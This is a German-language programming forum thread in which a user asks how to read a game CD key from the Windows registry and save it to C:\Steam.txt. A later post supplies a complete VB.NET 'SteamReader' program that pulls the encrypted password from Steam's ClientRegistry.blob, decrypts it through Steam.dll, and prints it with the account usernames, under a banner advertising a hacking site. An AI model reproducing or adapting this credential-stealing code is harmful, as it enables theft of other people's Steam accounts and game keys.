Frage zu steam

Hallo ich habe mal ne frage ich versuche gerade ein programm zu coden welches den steam ausliest und diesen in verzeichnis C:\Steam.txt speichert wie stele ich das an


Dim Write = New StreamWriter(Environ("C:\Steam.txt))

Write.WriteLine("Splinter Cell Pandora Tomorrow")

Dim Key1 As String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Ubi soft\Splinter Cell Pandora Tomorrow", "CDKey", Nothing)
Write.WriteLine(Key1)
Write.Flush()


So sieht das derzeit bei mir aus aber ich kann im verzeichnis c keine steam.txt finden wie bekomme ich es hin das der ausgelesende steam dort hingeschrieben wird?(Als Steam.txt)

Code:

---

Dim Write = New StreamWriter(Environ("C:\Steam.txt))

  Write.WriteLine("Splinter Cell Pandora Tomorrow")

        Dim Key1 As String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Ubisoft\Splinter Cell Pandora Tomorrow", "CDKey", Nothing)
        Write.WriteLine(Key1)
        Write.Flush()

---

So mal probiert?

Kompletter Quote entfernt. Boardregeln lesen!

Gerade Probiert geht auch nicht

Zitat:

---

Zitat von sunny-boy3

Dim Write = New StreamWriter(Environ("C:\Steam.txt))

Write.WriteLine("Splinter Cell Pandora Tomorrow")

Dim Key1 As String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Ubi soft\Splinter Cell Pandora Tomorrow", "CDKey", Nothing)
Write.WriteLine(Key1)
Write.Flush()
Write.Close

So sieht das derzeit bei mir aus aber ich kann im verzeichnis c keine steam.txt finden

---

Wenn nichtmal die Steam.txt erstellt wird ist an deinem Rechner irgendwas putt =)

Zitat:

---

Zitat von DarkFire

Wenn nichtmal die Steam.txt erstellt wird ist an deinem Rechner irgendwas putt =)

---

hab es im formload kommt keine txt

Verscuh doch mal im Debuggermodus zu überprüfen, welche Daten eingelesen werden, bzw. ob da schon ein Fehler auftritt.

Kompletter Quote entfernt. Boardregeln lesen!


Kommt kein fehler ich habe kein steam bei mir installiert aber die txt müßte trotzdem kommen aber kein fehler keine txt

Code:

---

Dim Write = New StreamWriter("C:\steam.txt")

        Write.WriteLine("Splinter Cell Pandora Tomorrow")

        Dim Key1 As String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Ubi soft\Splinter Cell Pandora Tomorrow", "CDKey", Nothing)
        Write.WriteLine(Key1)
        Write.Flush()

---

Edit/

Mit diesem Beispiel muss man keine Admin Rechte haben unter Vista & Win 7:

Code:

---

Dim Write = New StreamWriter(Environ("tmp") & "\steam.txt")

        Write.WriteLine("Splinter Cell Pandora Tomorrow")

        Dim Key1 As String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Ubi soft\Splinter Cell Pandora Tomorrow", "CDKey", Nothing)
        Write.WriteLine(Key1)
        Write.Flush()

---

Kompletter Quote entfernt. Boardregeln lesen!

Geht auch nicht keine txt vorhanden

Bei mir schon ;) Denke das es an deinem PC i-wie liegt weil bei dir ja kein einziges Beispiel funktioniert^^

Bei mir geht es auch, muss ja auch gehen. Ich wunder mich nur, warum es bei dir nicht geht.. Gehen andere Operationen auch nicht?

könnte es vllt an OS liegen glauge vista erlaubt es ncht auf c:\ was zuerstellen soll woll ein schutz sein

Kompletter Quote entfernt. Boardregeln lesen!

Hab es jetzt soweit hinbekommen nur wen ich es starte bekomme ich ne fehlermeldung es darf nicht null zurückgegeben werden!!!

Mach anstatt:

Code:

---

Dim Write = New StreamWriter(Environ("C:\Steam.txt))

---

So:

Code:

---

Dim Write = New StreamWriter("C:\steam.txt")

---

Hab ich doch schon geschrieben, damit muss es funzen oder du kopierst den Code einfach komplett falsch ein. Lerne die Grundlagen...

Dim Write = New StreamWriter(Environ("systemdrive") & "\steam.txt")

Zitat:

---

Zitat von till7

Mach anstatt:

Code:

---

Dim Write = New StreamWriter(Environ("C:\Steam.txt))

---

So:

Code:

---

Dim Write = New StreamWriter("C:\steam.txt")

---

Hab ich doch schon geschrieben, damit muss es funzen oder du kopierst den Code einfach komplett falsch ein. Lerne die Grundlagen...

---

Kenne doch die grundlagen habe mir die ganzen tuts im netz schon alle reingezogen habe es ja hinbekommen das er ne txt ausspuckt nur wen ich es in meinen projekt aufnehme und mache es zb so

Formload blabla

Call Steam



Private sub Steam
code


dan bekomme ich die meldung das es nicht null seien darf



ich suche mir am besten die code zusammen und zeige euch was ich meine

Dann mache es halt nicht mit Call Funktion oO ? omg...

Kompletter Quote entfernt. Boardregeln lesen!

Hab es auch nur mit formload blabla

beispiel

Private sub beispiel
probiert aber immer error

Hier :
http://rapidshare.com/files/260365343/test.rar

Omg...

beshreibe dein problem doch mal genau, lad nen screen mit cem source und der fehler meldung hoch.

hier mal was dazu :)

Code:

---

Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO

Module SteamDecrypt

    <DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
    Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
    End Function
    Sub Main(ByVal args() As String)
        On Error Resume Next
        Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
        Dim decryptedDataSize As Integer = 0
        Dim pwd As New StringBuilder
        Dim F As Object
        Dim sInhalt As String
        Dim Phrase As Double
        Dim zwischen As Double = "0"
        Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")

        Console.Title = "SteamReader>>"
        F = FreeFile()
        FileOpen(F, Datei, OpenMode.Binary)
        sInhalt = InputString(F, LOF(F))
        Phrase = InStr(1, sInhalt, "Phrase")
        sInhalt = Mid(sInhalt, Phrase + 16)
        Dim PWnew As String = (Left(sInhalt, 92))
        Dim encpwd As String = (Left(sInhalt, 92))
        FileClose(F)
        pwd.Length = encpwd.Length / 2
        If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then

            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
            Console.Write(" Username: ")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 1
                If drc.Name = "SourceMods" Then GoTo 1
                Console.Write(drc.Name & ", ")
1:
            Next
            Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
            Console.ReadLine()
        Else
            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 2
                If drc.Name = "SourceMods" Then GoTo 2
                Console.Write(drc.Name & ", ")
2:
            Next
            Console.ReadLine()
        End If


    End Sub
End Module

---

? er wollte doch garnicht das PW entschlüsseln.

hm das wäre bestimmt das nächste gewesen :)